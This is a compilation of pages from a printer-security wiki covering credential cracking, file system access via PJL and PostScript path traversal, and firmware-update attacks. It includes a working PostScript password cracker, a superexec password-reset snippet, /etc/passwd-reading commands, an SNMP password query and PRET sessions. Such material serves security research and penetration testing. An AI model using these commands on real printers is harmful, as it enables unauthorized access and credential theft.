Hacking Printers - User contributions [en]

Main Page

2025-11-27T15:37:35Z

Admin:

<div style="margin-top:0.5em; padding:0.5em 0.5em 0.5em 0.5em; background-color:#faf0ff; align:right; border:1px solid #ddccff;">
<div id="mp-tfl" style="padding:0px 6px;">
This is the '''Hacking Printers Wiki''', an open approach to share knowledge on printer (in)security.
</div>
</div>


{| id="mp-upper" style="width: 100%; margin:4px 0 0 0; background:none; border-spacing: 0px;"


| class="MainPageBG" style="width:55%; border:1px solid #cef2e0; background:#f5fffa; vertical-align:top; color:#000;" |
{| id="mp-left" style="width:100%; vertical-align:top; background:#f5fffa;"
| style="padding:2px;" | <h2 id="mp-tfa-h2" style="margin:3px; background:#cef2e0; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3bfb1; text-align:left; color:#000; padding:0.2em 0.4em;">Attacks</h2>
|-
|
* '''[[Denial of service]]''':
** [[Transmission channel]]
** [[Document processing]]
** [[Physical damage]]

* '''[[Privilege escalation]]''':
** [[Factory defaults]]
** [[Accounting bypass]]
** [[Fax and Scanner]]

* '''[[Print job access]]''':
** [[Print job retention]]
** [[Print job manipulation]]

* '''[[Information disclosure]]''':
** [[Memory access]]
** [[File system access]]
** [[Credential disclosure]]

* '''[[Code execution]]''':
** [[Buffer overflows]]
** [[Firmware updates]]
** [[Software packages]]
|-
| style="padding:2px;" | <h2 id="mp-dyk-h2" style="margin:3px; background:#cef2e0; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3bfb1; text-align:left; color:#000; padding:0.2em 0.4em;">TL;DR</h2>
|-
|
<div style="padding:0px 8px;">
Check out the [[Printer Security Testing Cheat Sheet]]
</div>
|}
| style="border:1px solid transparent;" |


| class="MainPageBG" style="width:45%; border:1px solid #cedff2; background:#f5faff; vertical-align:top;"|
{| id="mp-right" style="width:100%; vertical-align:top; background:#f5faff;"
| style="padding:2px;" | <h2 id="mp-otd-h2" style="margin:3px; background:#cedff2; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3b0bf; text-align:left; color:#000; padding:0.2em 0.4em;">Tools</h2>
|-
|
* [[PRET]], [[Praeda]], [[PFT]], [[BeEF]]
|-
| style="padding:2px;" | <h2 id="mp-itn-h2" style="margin:3px; background:#cedff2; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3b0bf; text-align:left; color:#000; padding:0.2em 0.4em;">Fundamentials</h2>
|-
|
* '''[[Fundamentals#Printer Control Languages|Printer languages]]
** [[PJL]], [[PCL]], [[PostScript]]
* '''[[Fundamentals#Network printing protocols|Network protocols]]
** [[LPD]], [[IPP]], [[Raw]], [[SMB]]
|-
| style="padding:2px;" | <h2 id="mp-otd-h2" style="margin:3px; background:#cedff2; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3b0bf; text-align:left; color:#000; padding:0.2em 0.4em;">Attack Carriers</h2>
|-
|
* [[USB drive or cable]]
* [[Port 9100 printing]]
* [[Cross-site printing]]
|-
| style="padding:2px;" | <h2 id="mp-otd-h2" style="margin:3px; background:#cedff2; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3b0bf; text-align:left; color:#000; padding:0.2em 0.4em;">Countermeasures</h2>
|-
|
* [[Countermeasures#Vendors|Vendors]], [[Countermeasures#Admins|Admins]], [[Countermeasures#Users|Users]]
|-
| style="padding:2px;" | <h2 id="mp-otd-h2" style="margin:3px; background:#cedff2; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3b0bf; text-align:left; color:#000; padding:0.2em 0.4em;">Bibliography</h2>
|-
|
* [[Bibliography|Literature on printer security]]
|-
| style="padding:2px;" | <h2 id="mp-otd-h2" style="margin:3px; background:#cedff2; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3b0bf; text-align:left; color:#000; padding:0.2em 0.4em;">References</h2>
|-
|
* [[References|Printer language references]]
|}
|}


__NOTOC__

Hacking Printers:About

2018-07-20T08:49:42Z

Admin:

The '''Hacking Printers Wiki''' was created by [https://www.nds.rub.de/chair/people/jmueller/ Jens Müller], but its continued success depends on the contributions from many individuals in the security community.

Thanks to everybody for your help!

Bibliography

2018-07-11T11:05:41Z

Admin:

== Research by date ==

=== 2017 ===

'''SoK: Exploiting Network Printers''' ([https://www.nds.rub.de/media/ei/veroeffentlichungen/2018/07/11/printer-security.pdf PDF])
<br>by Jens Müller, Juraj Somorovsky, Vladislav Mladenov | Blogpost: [http://web-in-security.blogspot.de/2017/01/printer-security.html]

=== 2016 ===

'''Exploiting Network Printers: A Survey of Security Flaws in Laser Printers and Multi-Function Devices''' ([https://www.nds.rub.de/media/ei/arbeiten/2017/01/30/exploiting-printers.pdf PDF])
<br>by Jens Müller, Juraj Somorovsky, Vladislav Mladenov | Proof-of-concept code: [https://github.com/RUB-NDS/PRET]

'''PWN Xerox Printers (...again): About Hardware Attacks and Insecure Cloning''' ([https://www.fkie.fraunhofer.de/content/dam/fkie/de/documents/xerox_phaser_6700_white_paper.pdf PDF])
<br>by Peter Weidenbach, Raphael Ernst

=== 2014 ===

'''A Large-Scale Analysis of the Security of Embedded Firmwares''' ([https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-costin.pdf PDF])
<br>by Andrei Costin, Jonas Zaddach, Aurélien Francillon, and Davide Balzarotti | Video: [https://www.youtube.com/watch?v=5gf6mFz1rPM]

'''Hacking Canon Pixma Printers - Doomed Encryption''' ([http://www.contextis.com/resources/blog/hacking-canon-pixma-printers-doomed-encryption/ HTML])
<br>by Michael Jordon

=== 2013 ===

'''Embedded Devices Security and Firmware Reverse Engineering''' ([http://s3.eurecom.fr/docs/bh13us_zaddach.pdf PDF])
<br>by Jonas Zaddach, Andrei Costin

'''Research Report on the Security of MFPs''' ([https://www.ipa.go.jp/security/jisec/apdx/documents/20130312report_E.pdf])
<br>by IPA Information-technology Promotion Agency, Japan

=== 2012 ===

'''PostScript: Danger Ahead?!'''
<br>by Andrei Costin | Slides: [https://infocon.org/cons/Hack%20In%20Paris/Hack%20In%20Paris%202012/Slides/Andrei-PostScript%20Danger%20Ahead.pdf] | Video: [https://www.youtube.com/watch?v=ygcs0m5C9ZI]

=== 2011 ===

'''Print Me If You Dare: Firmware Modification Attacks and the Rise of Printer Malware'''
<br>by Ang Cui, Salvatore Stolfo | Slides: [http://ids.cs.columbia.edu/sites/default/files/CuiPrintMeIfYouDare.pdf] | Video: [https://www.youtube.com/watch?v=njVv7J2azY8]

'''Printers gone Wild (PrintFS PJL filesystem)'''
<br>by Ben Smith | Video: [http://www.securitytube.net/video/1395] | Proof-of-concept code: [http://www.remote-exploit.org/articles/printfs/index.html]

'''From Printer to Pwnd: Leveraging Multifunction Printers During Penetration Testing'''
<br>by Deral Heiland | Slides: [http://foofus.net/goons/percx/defcon/P2PWND.pdf] | Video: [https://www.youtube.com/watch?v=PH4pTCmKgOg] | Proof-of-concept code: [https://github.com/percx/Praeda]

'''From Patched to Pwned: Attacking Xerox's Multifunction Printers Patch Process''' ([http://foofus.net/goons/percx/Xerox_hack.pdf PDF])
<br>by Deral Heiland

=== 2010 ===

'''Hacking Printers for Fun and Profit'''
<br>by Andrei Costin | Slides: [http://andreicostin.com/papers/Conf%20-%20Hack.lu%20-%202010%20-%20Luxembourg%20-%20AndreiCostin_HackingPrintersForFunAndProfit.pdf] | Video: [https://www.youtube.com/watch?v=R56ZXErKCeE]

'''Juste une imprimant?'''
<br>by NBS System | Slides: [http://www.ossir.org/jssi/jssi2010/1A.pdf]

=== 2006 ===

'''Hacking Network Printers''' ([http://www.irongeek.com/i.php?page=security/networkprinterhacking HTML])
<br>by Adrian Crenshaw (Irongeek)

=== 2002 ===

'''Understanding, Reversing, and Hacking HP Printers''' ([http://search.lores.eu/realicra/hp_slobo.htm HTML])
<br>by Slobotron

'''Printer Exploration (PFT and Hijetter, libPJL, ChaiPortScan, ChaiCrack)'''
<br>FtR of Phenoelit, FX of Phenoelit | Proof-of-concept code: [http://www.phenoelit.org/hp/index.html]

Credential disclosure

2017-11-22T12:01:29Z

Admin:

Printers are commonly deployed with a default password or no initial password at all. In both cases, end-users or administrators have to actively set a password to secure the device. This article discusses generic brute-force attacks against PJL and PostScript passwords as well as model-specific password disclosure.

== Brute-Force Attacks ==

Besides credentials leaked from sources like [[File system access|file system]] or [[memory access]], [[#SNMP|SNMP]] and the printer's [[#Pass-Back|embedded web server]], printing languages offer limited passwords protection mechanisms themselves. Breaking such mechanisms has a priority in this wiki because it focuses on printer-specific weaknesses. Furthermore, whilst the routines to set the password for a printer's embedded web server differ from model to model they are standardized for both [[PJL]] and [[PostScript]]. Although it is not very common for end-users or even administrators to set or actually know about these passwords, if enabled they can disable some of the attacks discussed in this wiki. Attackers should therefore have a motivation to crack or bypass them if necessary.

=== PJL ===

PJL offers the possibility to set a password to lock access to the printer's hard disk and/or control panel. PJL disk lock as shown below is the defense mechanism propagated by HP against PJL file system access, including its known path traversal vulnerabilities <ref>''[http://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c02004333 Security Bulletin HPSBPI02575 SSRT090255 Rev. 1]'', HP Inc., 2010</ref>:

@PJL JOB PASSWORD=0
@PJL DEFAULT PASSWORD=12345
@PJL DEFAULT DISKLOCK=ON
@PJL DEFAULT CPLOCK=ON

PJL passwords however are vulnerable to brute-force attacks because of their limited 16 bit key size as demonstrated by <ref>''Attacking Networked Embedded Devices'', Black Hat USA, FX and FtR of Phenoelit, 2002</ref> who were able to unlock the disk protection within 6 hours in the worst case. With PJL interpreters having gotten faster while the PJL standard was never updated and still limits passwords to numerical values ranging from 1 to 65,535 <ref>''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997, ch. 6-21</ref>, cracking time has efficiently decreased. In a test with 20 devices, between 50 and 1,000 passwords could be evaluated per second leading to average cracking times between 30 seconds and 10 minutes.

While PJL passwords can be set on various devices, actual disk lock and/or control panel lock is only supported by few printers. It is unclear if the password has any undocumented, proprietary effects on these machines or is just a dummy variable. Furthermore, non-compliant with the PJL standard, Brother based devices do not even verify the password to lock or unlock the control panel, rendering it practically useless.

'''How to test this attack?'''

The ''lock'' and ''unlock'' commands of [[PRET]] can be used to test brute-force attacks against PJL passwords:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
PIN protection: ENABLED
Panel lock: ON
Disk lock: ON
printer:/> unlock
No PIN given, cracking.
PIN protection: DISABLED
Panel lock: OFF
Disk lock: OFF

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]]. Feedback from the printer is not required because attackers can blindly remove the password protection by including all 65,535 possible combinations in a single print job.

=== PostScript ===

PostScript offers two types of passwords: The ''SystemParamsPassword'' is used to change print job settings like paper size, while the ''StartJobPassword'' is required to exit the server loop and therefore permanently alter the PostScript environment. The ''checkpassword'' operator which takes either an integer or a string as input checks for both passwords at once <ref>''[http://ftp.ktug.org/obsolete/info/adobe/devtechnotes/pdffiles/ps2016.supplement.pdf PostScript Language Reference Manual Supplement for Version 2016]'', Adobe Systems Inc., 1995, p. 194</ref>. The key size is very large: PostScript strings can contain arbitrary ASCII characters and have a maximum length of 65,535 <ref>''[https://www.adobe.com/products/postscript/pdfs/PLRM.pdf PostScript Language Reference Manual, 3rd Edition]'', Adobe Systems Inc., 1999, p. 739</ref> which theoretically allows 524,280 bit passwords. On the positive side (from an attackers point of view) brute-force attacks against PostScript passwords can be performed extremely fast because the PostScript interpreter can be programmed to literally crack itself. A simple PostScript password cracker testing for numerical values as passwords is given below:

<syntaxhighlight lang=postscript>
/min 0 def /max 1000000 def
statusdict begin {
min 1 max
{dup checkpassword {== flush stop} {pop} ifelse} for
} stopped pop
</syntaxhighlight>

Tested printers were capable of performing between 5,000 and 100,000 password verifications per second. Such enormous cracking rates can be achieved because a printer's RIP is highly optimized for fast processing of PostScript code. Brother based devices are exceptions as ''BR-Script'' only accepts one password per second but also checks for the very first character of the password only which effectively limits the key size to 256 characters or 8 bit. As it seems, Kyocera's ''KPDL'' does not support setting permanent PostScript passwords at all.

Another approach is to '''bypass PostScript passwords''' by resetting them with Adobe's proprietary ''superexec'' operator. This operator resides in the ''internaldict'' dictionary, which is ‘protected’ by a static, magic password (<code>1183615869</code>, see <ref>''[http://www.tinaja.com/glib/interdic.pdf PostScript’s Internaldict, Superexec & the pdfmark Instruction Set]'', D. Lancaster, 2002</ref>). Wrapping PostScript code into ''superexec'' allows an attacker to ignore various protection mechanisms of the language, which would normally raise an ''invalidaccess'' error. This can be used to set PostScript passwords without initially submitting the current password as shown below:

<syntaxhighlight lang=postscript>
{ << /SystemParamsPassword (0)
/StartJobPassword (0) >> setsystemparams
} 1183615869 internaldict /superexec get exec

</syntaxhighlight>

'''How to test this attack?'''

The ''lock'' and ''unlock'' commands of [[PRET]] can be used to test brute-force attacks against numeric (integer) PostScript passwords or to bypass them with ''superexec'' magic:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
printer:/> unlock
No password given, cracking.
Device unlocked with password: 999
printer:/> lock S0me_Re4lly_g00d_Passw0rd!
printer:/> unlock bypass
Resetting password to zero with super-secret PostScript magic
Device unlocked with password: 0

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]]. Feedback from the printer is not required because attackers can blindly remove the password protection by cracking it in a single print job.

== Password Disclosure ==

=== SNMP ===

Ancient HP printers (manufactured 2003 and earlier) had a bug which allowed an attacker to retrieve the password for the embedded web server through SNMP requests. The vulnerable OID to be requested (''.iso.org.dod.internet.private.enterprises.hp.nm.system.net-peripheral.net-printer.generalDeviceStatus.gdPasswords'') was even documented by HP. Other vendors may have similar SNMP based issues. Penetration testers may find flaws by studying the various publicly available MIBs released by printer manufacturers.

'''How to test this attack?'''

To test this attack against ancient HP printers, the ''snmpset'' tool can be used as shown below:

<syntaxhighlight lang=sh>
snmpget -v1 -c public printer iso.3.6.1.4.1.11.2.3.9.1.1.13.0
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = Hex-STRING: 41 41 41 00 …
</syntaxhighlight>

Vulnerable devices will return the password in hexadecimal (here: ''AAA''), while newer devices do only respond with zerobytes.

'''Who can perform this attack?'''

Anyone who can send network packets to port 161/udp of the printer device.

=== Pass-Back ===

Another interesting class of attacks is pass-back attacks were ‘an MFP device is directed into authenticating [...] against a rogue system rather than the expected server’ <ref>''[http://foofus.net/goons/percx/praeda/pass-back-attack.pdf Anatomy of a Pass-Back-Attack: Intercepting Authentication Credentials Stored in Multifunction Printers]'', D. Heiland and M. Belton, 2011</ref>. This works in setups where a printer/MFP authenticates users via an external [https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol LDAP] server. Note that the credentials to access the LDAP server are stored on the MFP itself. If the MFP allows an attacker to change the address of the LDAP server while keeping the stored credentials, whenever someone (for example, the attacker itself) tries to authenticate with the MFP, the MFP leaks the original LDAP credentials to the attacker-controlled server. This example shows that passwords resident on printers may not only harm the device itself if integrated into a company's network. Printers and MFPs – which may offer insufficient protection – are therefore a good starting point in network penetration tests.

'''How to test this attack?'''

Check if you can change printer settings like the LDAP hostname while keeping the old LDAP password.

'''Who can perform this attack?'''

Usually anyone who can access the printer's embedded web server. This may include [https://en.wikipedia.org/wiki/Cross-site_request_forgery CRSF] attacker, if the web application running on the printer has no CSRF protection.

----

Main Page

2017-10-13T09:06:06Z

Admin: Undo revision 645 by 85.98.95.146 (talk)

<div style="margin-top:0.5em; padding:0.5em 0.5em 0.5em 0.5em; background-color:#faf0ff; align:right; border:1px solid #ddccff;">
<div id="mp-tfl" style="padding:0px 6px;">
This is the '''Hacking Printers Wiki''', an open approach to share knowledge on printer (in)security.
</div>
</div>


{| id="mp-upper" style="width: 100%; margin:4px 0 0 0; background:none; border-spacing: 0px;"


| class="MainPageBG" style="width:55%; border:1px solid #cef2e0; background:#f5fffa; vertical-align:top; color:#000;" |
{| id="mp-left" style="width:100%; vertical-align:top; background:#f5fffa;"
| style="padding:2px;" | <h2 id="mp-tfa-h2" style="margin:3px; background:#cef2e0; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3bfb1; text-align:left; color:#000; padding:0.2em 0.4em;">Attacks</h2>
|-
|
* '''[[Denial of service]]''':
** [[Transmission channel]]
** [[Document processing]]
** [[Physical damage]]

* '''[[Privilege escalation]]''':
** [[Factory defaults]]
** [[Accounting bypass]]
** [[Fax and Scanner]]

* '''[[Print job access]]''':
** [[Print job retention]]
** [[Print job manipulation]]

* '''[[Information disclosure]]''':
** [[Memory access]]
** [[File system access]]
** [[Credential disclosure]]

* '''[[Code execution]]''':
** [[Buffer overflows]]
** [[Firmware updates]]
** [[Software packages]]
|-
| style="padding:2px;" | <h2 id="mp-dyk-h2" style="margin:3px; background:#cef2e0; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3bfb1; text-align:left; color:#000; padding:0.2em 0.4em;">TL;DR</h2>
|-
|
<div style="padding:0px 8px;">
Check out the [[Printer Security Testing Cheat Sheet]]
</div>
|}
| style="border:1px solid transparent;" |


| class="MainPageBG" style="width:45%; border:1px solid #cedff2; background:#f5faff; vertical-align:top;"|
{| id="mp-right" style="width:100%; vertical-align:top; background:#f5faff;"
| style="padding:2px;" | <h2 id="mp-otd-h2" style="margin:3px; background:#cedff2; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3b0bf; text-align:left; color:#000; padding:0.2em 0.4em;">Tools</h2>
|-
|
* [[PRET]], [[Praeda]], [[PFT]], [[BeEF]]
|-
| style="padding:2px;" | <h2 id="mp-itn-h2" style="margin:3px; background:#cedff2; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3b0bf; text-align:left; color:#000; padding:0.2em 0.4em;">Fundamentials</h2>
|-
|
* '''[[Fundamentals#Printer Control Languages|Printer languages]]
** [[PJL]], [[PCL]], [[PostScript]]
* '''[[Fundamentals#Network printing protocols|Network protocols]]
** [[LPD]], [[IPP]], [[Raw]], [[SMB]]
|-
| style="padding:2px;" | <h2 id="mp-otd-h2" style="margin:3px; background:#cedff2; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3b0bf; text-align:left; color:#000; padding:0.2em 0.4em;">Attack Carriers</h2>
|-
|
* [[USB drive or cable]]
* [[Port 9100 printing]]
* [[Cross-site printing]]
|-
| style="padding:2px;" | <h2 id="mp-otd-h2" style="margin:3px; background:#cedff2; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3b0bf; text-align:left; color:#000; padding:0.2em 0.4em;">Countermeasures</h2>
|-
|
* [[Countermeasures#Vendors|Vendors]], [[Countermeasures#Admins|Admins]], [[Countermeasures#Users|Users]]
|-
| style="padding:2px;" | <h2 id="mp-otd-h2" style="margin:3px; background:#cedff2; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3b0bf; text-align:left; color:#000; padding:0.2em 0.4em;">Bibliography</h2>
|-
|
* [[Bibliography|Literature on printer security]]
|-
| style="padding:2px;" | <h2 id="mp-otd-h2" style="margin:3px; background:#cedff2; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #a3b0bf; text-align:left; color:#000; padding:0.2em 0.4em;">References</h2>
|-
|
* [[References|Printer language references]]
|}
|}
<table id="mp-middle" style="width:100%; margin:4px 0 0 0; background:none; border-spacing: 0px;">
<tr>
<td class="MainPageBG" style="width:100%; border:1px solid #f2cedd; background:#fff5fa; vertical-align:top; color:#000;">
<table id="mp-center" style="width:100%; vertical-align:top; background:#fff5fa; color:#000;">
<tr>
<td style="padding:2px;"><h2 id="mp-tfl-h2" style="margin:3px; background:#f2cedd; font-family:inherit; font-size:120%; font-weight:bold; border:1px solid #bfa3af; text-align:left; color:#000; padding:0.2em 0.4em">Beyond Printers</h2></td>
</tr><tr>
<td style="color:#000;"><div id="mp-tfl" style="padding:5px 8px;">Comming soon: ''Hacking PostScript processing websites''</div></td>
</tr>
</table>
</td>
</tr>



__NOTOC__

File system access

2017-07-20T09:53:44Z

Admin:

If an attacker has read access to the file system, she can potentially retrieve sensitive information like configuration files or stored print jobs. Manipulation of files through write access might even lead to remote code execution – for example by editing ''rc'' scripts or replacing binary files to be executed. Therefore printers should never allow direct access to the file system. However, legitimate language constructs are defined for PostScript <ref>''[https://www-cdf.fnal.gov/offline/PostScript/PLRM2.pdf PostScript Language Reference Manual, 2nd Edition]'', Adobe Systems Inc., 1992, p. 71-80</ref> and PJL <ref>''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997, ch. 9</ref> to do exactly this. Such features exist for historic reasons when bandwidth was a major bottleneck. Frequently used fonts and graphics are once downloaded to the device and can be re-used in further print jobs. While such functionality enhances printing performance, it poses a severe security risk to networked devices.

== PostScript ==

The potential danger of PostScript file I/O primitives has been pointed out by <ref>''[https://www.cs.plu.edu/courses/CompSec/arts/mal.pdf Malicious Data and Computer Security]'', W. Sibert, Proceedings of the 19th National Information Systems Security Conference, 1996</ref>. An effort to systematically exploit PostScript functions to access the file system of printer devices has been made be <ref name="mueller2016printers">''Exploiting Network Printers'', J. Müller, 2016, p. 48-50</ref>. Example code to access the file system with PostScript on a ''HP LaserJet 4200N'' is given below:

<syntaxhighlight lang=postscript>
> /str 256 string def (%*%../*) % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)

> /byte (0) def % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
> (%stdout) (w) file byte writestring}
> {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh

> /outfile (test.txt) (w+) file def}} % write to file
> outfile (Hello World!) writestring
> outfile closefile
</syntaxhighlight>

Accessing files with PostScript is supported by a large variety of printers, but usually sandboxed to a certain directory. This limits the possibilities of an attacker to mostly harmless actions like font modification. There are however exceptions:

* Various '''HP LaserJet printers''' are prone to path traversal which allows access to the whole file system. This issue which affects almost forty HP devices has been discussed in [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5221 CVE-2012-5221] and is fixed in current firmware versions. The protection mechanism however is flawed as shown in <ref name="mueller2016printers"/>: By using <code>%*%</code> as disk prefix and replacing <code>../</code> with <code>.././</code> one is able to access the whole file system even for the latest firmware versions. The impact is significant: Passwords for the embedded web server can be found in <code>/dev/rdsk_jdi_cfg0</code> while the RAM is available for reading and writing at <code>/dev/dsk_ram0</code>.

* Various '''OKI laser printers''' allows one level of path traversal, where a directory called ‘hidden’ is located which contains stored fax numbers, email contacts and local users' PINs as well as the SNMP community string and password. More interesting however is the fact that this MFP can be integrated into a network using features like Email-to-Print or Scan-to-FTP. Therefore we can find the passwords for LDAP, POP3, SMTP, outbound HTTP proxy, FTP, SMB and Webdav as well as the IPsec and Wi-Fi pre-shared keys. This is a good example how an attacker can escalate her way into a company's network, using the printer device as a starting point.

'''How to test for this attack?'''

File system access has been implemented in [[PRET]] in ''ps'' mode using the <code>ls</code>, <code>get</code>, <code>put</code>, <code>append</code>, <code>delete</code>, <code>rename</code>, <code>find</code>, <code>mirror</code>, <code>touch</code>, <code>mkdir</code>, <code>cd</code>, <code>pwd</code>, <code>chvol</code>, <code>traversal</code>, <code>format</code>, <code>fuzz</code> and <code>df</code> commands:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d - Jan 1 1970 (created Jan 1 1970) bootdev
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi_ss
d - Jan 1 1970 (created Jan 1 1970) dsk_ram0
d - Jan 1 1970 (created Jan 1 1970) etc
d - Jan 1 1970 (created Jan 1 1970) tmp
d - Jan 1 1970 (created Jan 1 1970) webServer

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

== PJL ==

For PJL, the issue of accessing arbitrary files on a printer with PJL has first been demonstrated by <ref>''Attacking Networked Embedded Devices'', Black Hat USA, FX and FtR of Phenoelit, 2002</ref> who wrote the [[PFT|PFT and Hijetter]] programs to perform file operations on HP LaserJets using legitimate PJL commands. A virtual, distributed file system based on PJL has been proposed and implemented by <ref>''[http://www.remote-exploit.org/articles/printfs/ Printers Gone Wild]'', B. Smith, ShmooCon, 2011</ref>. Example code to access the file system access with PJL on a ''HP LaserJet 4200N'' is given below:

> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR

> @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh

> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
> Hello World!

Accessing files with PJL is not supported by many printers. Examples are given below:

* Various '''HP LaserJet''' printers are prone to path traversal which allows access to the whole file system (see [http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2010-4107 CVE-2010-4107]). The countermeasure proposed by HP is to enable disk lock <ref>''[http://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c02004333 Security Bulletin HPSBPI02575 SSRT090255 Rev. 1]'', HP Inc., 2010</ref> which can easily be broken either by resetting the device to [[factory defaults]] or by performing [[Credential disclosure#Brute-Force_Attacks|brute-force attacks]].

* Various '''HP OfficeJet Pro''' and '''PageWide Pro''' models allow attackers to read arbitrary files from the Linux based file system. Furthermore, a path traversal vulnerability exists which enables attackers to place a shellscript in <code>0:/../../rw/var/etc/profile.d/</code>, reboot the device (for example, using [[Factory_defaults#SNMP|SNMP]]) and therefore execute arbitrary commands <ref>''[https://www.tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution Rooting a Printer: From Security Bulletin to Remote Code Execution]'', Jacob Baines, 2017</ref>.

* For various '''Konica Minolta bizhub''' MFPs the contents of the root directory – which is a typical Linux file system – can be listed. One interesting file which can be read and written is <code>/../sysdata/acc/job.csv</code>, which contains logged print job metadata, including document titles and usernames.

'''How to test for this attack?'''

File system access has been implemented in [[PRET]] in ''pjl'' mode using the <code>ls</code>, <code>get</code>, <code>put</code>, <code>append</code>, <code>delete</code>, <code>find</code>, <code>mirror</code>, <code>touch</code>, <code>mkdir</code>, <code>cd</code>, <code>pwd</code>, <code>chvol</code>, <code>traversal</code>, <code>format</code>, <code>fuzz</code> and <code>df</code> commands:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d - bootdev
d - dsk_jdi
d - dsk_jdi_ss
d - dsk_ram0
d - etc
d - lrt
d - tmp
d - webServer
d - xps

'''Who can perform this attack?'''

Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].

----

Firmware updates

2017-07-03T15:46:28Z

Admin: /* Epson */

The dangers of malicious firmware updates are well-known and have been discussed early by <ref>''[https://www.cs.cornell.edu/~kozen/papers/acsac.pdf Malicious Code Detection for Open Firmware]'', F. Adelstein, M. Stillerman and D. Kozen, Computer Security Applications Conference, 2002. Proceedings. 18th Annual, IEEE, 2002, p. 403-412</ref> and <ref>''[http://ceur-ws.org/Vol-190/paper11.pdf Phishing with Consumer Electronics: Malicious Home Routers]'', A. Tsow, MTW 190, 2006</ref>. In contrast to other networked devices however, '''it is common for printers to deploy firmware updates as ordinary print jobs'''. This opens up a wide gateway for attackers because access to printing functionality is usually a low hurdle. One can only speculate about the motivation for such insecure design decisions but it seems logical that historic reasons play a role: Printers used to be connected by parallel or USB cable. Without network connectivity, security was less important and without a password-protected web server or similar functionality the printing channel was the only way to send data to the device.

Firmware modification attacks against network printers have been demonstrated by <ref name="cui2011print">''[http://ids.cs.columbia.edu/sites/default/files/CuiPrintMeIfYouDare.pdf Print Me If You Dare: Firmware Modification Attacks and the Rise of Printer Malware]'', A. Cui and J. Stolfo, 2011</ref> for HP devices, by <ref name="jordon2014wrestling">''[https://www.contextis.com/resources/blog/hacking-canon-pixma-printers-doomed-encryption/ Hacking Canon Pixma Printers – Doomed Encryption]'', M. Jordon, 2014</ref> for the Canon PIXMA series and by <ref name="heiland2011patched">''[http://foofus.net/goons/percx/Xerox_hack.pdf From Patched to Pwned: Attacking Xerox's Multifunction Printers Patch Process]'', D. Heiland, 2011</ref> and <ref name="weidenbach2016pwn">''[https://www.fkie.fraunhofer.de/content/dam/fkie/de/documents/xerox_phaser_6700_white_paper.pdf PWN Xerox Printers (… again): About Hardware Attacks and (In) Secure Cloning]'', P. Weidenbach and R. Ernst, Fraunhofer FKIE, 2016</ref> for various Xerox models. As a countermeasure, printer manufacturer started to digitally sign their firmware <ref name="hp2012rfu">''[http://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c03102449 Security Bulletin HPSBPI02728 SSRT100692 Rev. 6]'', HP Inc., 2012</ref>.

== Vendors ==

To give an overview of firmware deployment procedures 1,400 firmware files for the top 10 printer manufacturers have been downloaded and systematically categorized by <ref>''Exploiting Network Printers'', J. Müller, 2016, p. 56-58</ref>. The results are as follows.

=== HP ===

